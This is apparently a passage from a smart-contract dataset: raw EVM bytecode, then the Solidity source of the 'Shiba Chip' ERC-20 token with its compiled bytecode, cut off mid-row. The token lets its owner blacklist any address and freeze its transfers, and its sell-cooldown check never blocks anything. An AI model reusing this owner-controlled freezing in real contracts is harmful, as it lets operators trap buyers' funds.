} | 0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063769cd122116100a257806397a3b4de1161007157806397a3b4de1461032e578063af14052c14610362578063d94ad8371461036c578063dd99a1e51461038a578063f2fde38b146103b857610116565b8063769cd122146102785780638da5cb5b146102bc5780638f32d59b146102f0578063900cf0cf1461031057610116565b80633827c6b6116100e95780633827c6b6146101ba5780633a93069b146101fe5780635d8f9a061461021c57806363f6d4c814610250578063715018a61461026e57610116565b8063021018991461011b57806320ce8389146101395780633148235a14610167578063329ceacd1461019a575b600080fd5b6101236103fc565b6040518082815260200191505060405180910390f35b6101656004803603602081101561014f57600080fd5b8101908080359060200190929190505050610402565b005b61016f61042a565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b6101a26107e1565b60405180821515815260200191505060405180910390f35b6101fc600480360360208110156101d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610801565b005b610206610856565b6040518082815260200191505060405180910390f35b61022461085c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610258610882565b6040518082815260200191505060405180910390f35b610276610888565b005b6102ba6004803603602081101561028e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061093f565b005b6102c46109ef565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f8610a18565b60405180821515815260200191505060405180910390f35b610318610a6f565b6040518082815260200191505060405180910390f35b610336610a75565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61036a610a9b565b005b610374610ca2565b6040518082815260200191505060405180910390f35b6103b6600480360360208110156103a057600080fd5b8101908080359060200190929190505050610ca8565b005b6103fa600480360360208110156103ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cc3565b005b60055481565b61040a610a18565b61041357600080fd5b6000811161042057600080fd5b8060048190555050565b600080600080600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663da6bae106040518163ffffffff1660e01b8152600401604080518083038186803b15801561049a57600080fd5b505afa1580156104ae573d6000803e3d6000fd5b505050506040513d60408110156104c457600080fd5b8101908080519060200190929190805190602001909291905050508092508193505050806104f157600080fd5b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663660e16c36040518163ffffffff1660e01b8152600401604080518083038186803b15801561055b57600080fd5b505afa15801561056f573d6000803e3d6000fd5b505050506040513d604081101561058557600080fd5b8101908080519060200190929190805190602001909291905050508092508193505050806105b257600080fd5b60006105bd85610ce0565b905060006105ca84610ce0565b905060006105e18383610cfd90919063ffffffff16565b90506012600a0a620f424002851115610601576012600a0a620f42400294505b600061060d8689610d3f565b90506000811380156106ea57506012600a0a620f42400260ff6001901b198161063257fe5b046106e882600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561069f57600080fd5b505afa1580156106b3573d6000803e3d6000fd5b505050506040513d60208110156106c957600080fd5b8101908080519060200190929190505050610e8790919063ffffffff16565b115b156107c7576107c46107bf600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561075d57600080fd5b505afa158015610771573d6000803e3d6000fd5b505050506040513d602081101561078757600080fd5b81019080805190602001909291905050506012600a0a620f42400260ff6001901b19816107b057fe5b04610ea690919063ffffffff16565b610ce0565b90505b878683839b509b509b509b50505050505050505090919293565b6000426107fb600554600654610e8790919063ffffffff16565b10905090565b610809610a18565b61081257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b610890610a18565b61089957600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610947610a18565b61095057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ab57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b60075481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610aa36107e1565b610af8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603c81526020018061114d603c913960400191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610b3057600080fd5b42600681905550610b4d6001600754610e8790919063ffffffff16565b600781905550600080600080610b6161042a565b93509350935093506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663579b64f5600754846040518363ffffffff1660e01b81526004018083815260200182815260200192505050602060405180830381600087803b158015610bea57600080fd5b505af1158015610bfe573d6000803e3d6000fd5b505050506040513d6020811015610c1457600080fd5b810190808051906020019092919050505090506012600a0a620f42400260ff6001901b1981610c3f57fe5b04811115610c4957fe5b6007547f41d948a7f29cc695f5d4b3ec147f766bffa165ddd317470fbe05c86d0a9c3e04858785426040518085815260200184815260200183815260200182815260200194505050505060405180910390a25050505050565b60035481565b610cb0610a18565b610cb957600080fd5b8060058190555050565b610ccb610a18565b610cd457600080fd5b610cdd81610ec6565b50565b600060ff6001901b19821115610cf557600080fd5b819050919050565b600080828403905060008312158015610d165750838113155b80610d2c5750600083128015610d2b57508381135b5b610d3557600080fd5b8091505092915050565b6000610d4b8383610fbd565b15610d595760009050610e81565b6000610d6483610ce0565b90506000610d7185610ce0565b90506000610d888383610cfd90919063ffffffff16565b90506000610da9610d9a600454610ce0565b8561103e90919063ffffffff16565b9050610e7a81610e6c84610e5e600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610e1e57600080fd5b505afa158015610e32573d6000803e3d6000fd5b505050506040513d6020811015610e4857600080fd5b8101908080519060200190929190505050610ce0565b61103e90919063ffffffff16565b61109b90919063ffffffff16565b9450505050505b92915050565b600080828401905083811015610e9c57600080fd5b8091505092915050565b600082821115610eb557600080fd5b600082840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f0057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080610feb6012600a0a610fdd600354866110ec90919063ffffffff16565b61112690919063ffffffff16565b905082841015801561100e57508061100c8486610ea690919063ffffffff16565b105b80611035575082841080156110345750806110328585610ea690919063ffffffff16565b105b5b91505092915050565b600080828402905060ff6001901b81141580611068575060ff6001901b831660ff6001901b851614155b61107157600080fd5b600083148061108857508383828161108557fe5b05145b61109157600080fd5b8091505092915050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415806110d1575060ff6001901b8314155b6110da57600080fd5b8183816110e357fe5b05905092915050565b6000808314156110ff5760009050611120565b600082840290508284828161111057fe5b041461111b57600080fd5b809150505b92915050565b600080821161113457600080fd5b600082848161113f57fe5b049050809150509291505056fe414d504c47204572726f723a20496e73756666696369656e742074696d6520686173207061737365642073696e6365206c617374207265626173652ea2646970667358221220667800ea74334f7df8f0fd1071365dc690149aefbfa6327d1cce53d2fb0ea7d464736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,982 |
0x9f77f94e6de85a4372c8f4c04d753c96e0b0571a | /*
Website: https://shibchip.com
Telegram: https://t.me/shibchiptoken
Twitter: https://twitter.com/SHIPCHIP
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBCHIP is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Shiba Chip";
string public constant symbol = unicode"SHIBCHIP";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 13;
uint public _sellFee = 13;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[_msgSender()] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (10 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/6;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 100000000 * 10**9;
_maxHeldTokens = 200000000 * 10**9;
}
function setMaxTxn(uint maxbuy, uint maxheld) external {
require(_msgSender() == _TaxAdd);
require(maxbuy >= 100000000 * 10**9);
require(maxheld >= 200000000 * 10**9);
_maxBuyAmount = maxbuy;
_maxHeldTokens = maxheld;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0);
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 13 && sell < 13 );
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
} | 0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105ad578063db92dbb6146105c2578063dcb0e0ad146105d7578063dd62ed3e146105f7578063e8078d941461063d57600080fd5b8063a3f4782f14610538578063a9059cbb14610558578063b515566a14610578578063c3c8cd801461059857600080fd5b806373f54a11116100dc57806373f54a11146104a65780638da5cb5b146104c657806394b8d8f2146104e457806395d89b411461050457600080fd5b8063590f897e146104465780636fc3eaec1461045c57806370a0823114610471578063715018a61461049157600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103b757806340b9a54b146103f057806345596e2e1461040657806349bd5a5e1461042657600080fd5b806327f3a72a14610345578063313ce5671461035a57806331c2d8471461038157806332d873d8146103a157600080fd5b8063104ce66d116101c1578063104ce66d146102bc57806318160ddd146102f45780631940d0201461030f57806323b872dd1461032557600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026a5780630b78f9c01461029a57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025d6040518060400160405280600a8152602001690536869626120436869760b41b81525081565b60405161021e91906119eb565b34801561027657600080fd5b5061028a610285366004611a65565b610652565b604051901515815260200161021e565b3480156102a657600080fd5b506102ba6102b5366004611a91565b610668565b005b3480156102c857600080fd5b506008546102dc906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561030057600080fd5b50678ac7230489e80000610214565b34801561031b57600080fd5b50610214600e5481565b34801561033157600080fd5b5061028a610340366004611ab3565b6106e8565b34801561035157600080fd5b5061021461073c565b34801561036657600080fd5b5061036f600981565b60405160ff909116815260200161021e565b34801561038d57600080fd5b506102ba61039c366004611b0a565b61074c565b3480156103ad57600080fd5b50610214600f5481565b3480156103c357600080fd5b5061028a6103d2366004611bcf565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103fc57600080fd5b50610214600a5481565b34801561041257600080fd5b506102ba610421366004611bec565b6107d8565b34801561043257600080fd5b506009546102dc906001600160a01b031681565b34801561045257600080fd5b50610214600b5481565b34801561046857600080fd5b506102ba610841565b34801561047d57600080fd5b5061021461048c366004611bcf565b61086e565b34801561049d57600080fd5b506102ba610889565b3480156104b257600080fd5b506102ba6104c1366004611bcf565b610906565b3480156104d257600080fd5b506000546001600160a01b03166102dc565b3480156104f057600080fd5b5060105461028a9062010000900460ff1681565b34801561051057600080fd5b5061025d60405180604001604052806008815260200167053484942434849560c41b81525081565b34801561054457600080fd5b506102ba610553366004611a91565b610974565b34801561056457600080fd5b5061028a610573366004611a65565b6109c9565b34801561058457600080fd5b506102ba610593366004611b0a565b6109d6565b3480156105a457600080fd5b506102ba610aef565b3480156105b957600080fd5b506102ba610b25565b3480156105ce57600080fd5b50610214610bc7565b3480156105e357600080fd5b506102ba6105f2366004611c13565b610bdf565b34801561060357600080fd5b50610214610612366004611c30565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064957600080fd5b506102ba610c52565b600061065f338484610f98565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068857600080fd5b600d821080156106985750600d81105b6106a157600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106f58484846110bc565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610724908490611c7f565b9050610731853383610f98565b506001949350505050565b60006107473061086e565b905090565b6008546001600160a01b0316336001600160a01b03161461076c57600080fd5b60005b81518110156107d45760006005600084848151811061079057610790611c96565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107cc81611cac565b91505061076f565b5050565b6008546001600160a01b0316336001600160a01b0316146107f857600080fd5b6000811161080557600080fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461086157600080fd5b4761086b81611688565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108bc5760405162461bcd60e51b81526004016108b390611cc7565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461092657600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610836565b6008546001600160a01b0316336001600160a01b03161461099457600080fd5b67016345785d8a00008210156109a957600080fd5b6702c68af0bb1400008110156109be57600080fd5b600d91909155600e55565b600061065f3384846110bc565b6000546001600160a01b03163314610a005760405162461bcd60e51b81526004016108b390611cc7565b60005b81518110156107d45760095482516001600160a01b0390911690839083908110610a2f57610a2f611c96565b60200260200101516001600160a01b031614158015610a80575060075482516001600160a01b0390911690839083908110610a6c57610a6c611c96565b60200260200101516001600160a01b031614155b15610add57600160056000848481518110610a9d57610a9d611c96565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610ae781611cac565b915050610a03565b6008546001600160a01b0316336001600160a01b031614610b0f57600080fd5b6000610b1a3061086e565b905061086b816116c2565b6000546001600160a01b03163314610b4f5760405162461bcd60e51b81526004016108b390611cc7565b60105460ff1615610b9c5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016108b3565b6010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b600954600090610747906001600160a01b031661086e565b6008546001600160a01b0316336001600160a01b031614610bff57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610836565b6000546001600160a01b03163314610c7c5760405162461bcd60e51b81526004016108b390611cc7565b60105460ff1615610cc95760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016108b3565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d053082678ac7230489e80000610f98565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d679190611cfc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610db4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd89190611cfc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e499190611cfc565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610e798161086e565b600080610e8e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ef6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f1b9190611d19565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f74573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d49190611d47565b6001600160a01b038316610ffa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108b3565b6001600160a01b03821661105b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108b3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161580156110fe57506001600160a01b03821660009081526005602052604090205460ff16155b801561111a57503360009081526005602052604090205460ff16155b61112357600080fd5b6001600160a01b0383166111875760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108b3565b6001600160a01b0382166111e95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108b3565b6000811161124b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108b3565b600080546001600160a01b0385811691161480159061127857506000546001600160a01b03848116911614155b15611629576009546001600160a01b0385811691161480156112a857506007546001600160a01b03848116911614155b80156112cd57506001600160a01b03831660009081526004602052604090205460ff16155b1561149f5760105460ff166113245760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016108b3565b600f54421415611352576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d548211156113a45760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016108b3565b600e546113b08461086e565b6113ba9084611d64565b11156114185760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016108b3565b6001600160a01b03831660009081526006602052604090206001015460ff16611480576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff161580156114b9575060105460ff165b80156114d357506009546001600160a01b03858116911614155b15611629576114e342600a611d64565b6001600160a01b038516600090815260066020526040902054106115555760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016108b3565b60006115603061086e565b905080156116125760105462010000900460ff16156115e357600c5460095460649190611595906001600160a01b031661086e565b61159f9190611d7c565b6115a99190611d9b565b8111156115e357600c54600954606491906115cc906001600160a01b031661086e565b6115d69190611d7c565b6115e09190611d9b565b90505b60006115f0600683611d9b565b90506115fc8183611c7f565b915061160781611836565b611610826116c2565b505b4780156116225761162247611688565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061166b57506001600160a01b03841660009081526004602052604090205460ff165b15611674575060005b6116818585858486611866565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107d4573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061170657611706611c96565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561175f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117839190611cfc565b8160018151811061179657611796611c96565b6001600160a01b0392831660209182029290920101526007546117bc9130911684610f98565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906117f5908590600090869030904290600401611dbd565b600060405180830381600087803b15801561180f57600080fd5b505af1158015611823573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6010805461ff0019166101001790558015611858576118583061dead836110bc565b506010805461ff0019169055565b60006118728383611888565b9050611880868686846118ac565b505050505050565b60008083156118a55782156118a05750600a546118a5565b50600b545b9392505050565b6000806118b98484611989565b6001600160a01b03881660009081526002602052604090205491935091506118e2908590611c7f565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611912908390611d64565b6001600160a01b038616600090815260026020526040902055611934816119bd565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161197991815260200190565b60405180910390a3505050505050565b6000808060646119998587611d7c565b6119a39190611d9b565b905060006119b18287611c7f565b96919550909350505050565b306000908152600260205260409020546119d8908290611d64565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a18578581018301518582016040015282016119fc565b81811115611a2a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461086b57600080fd5b8035611a6081611a40565b91905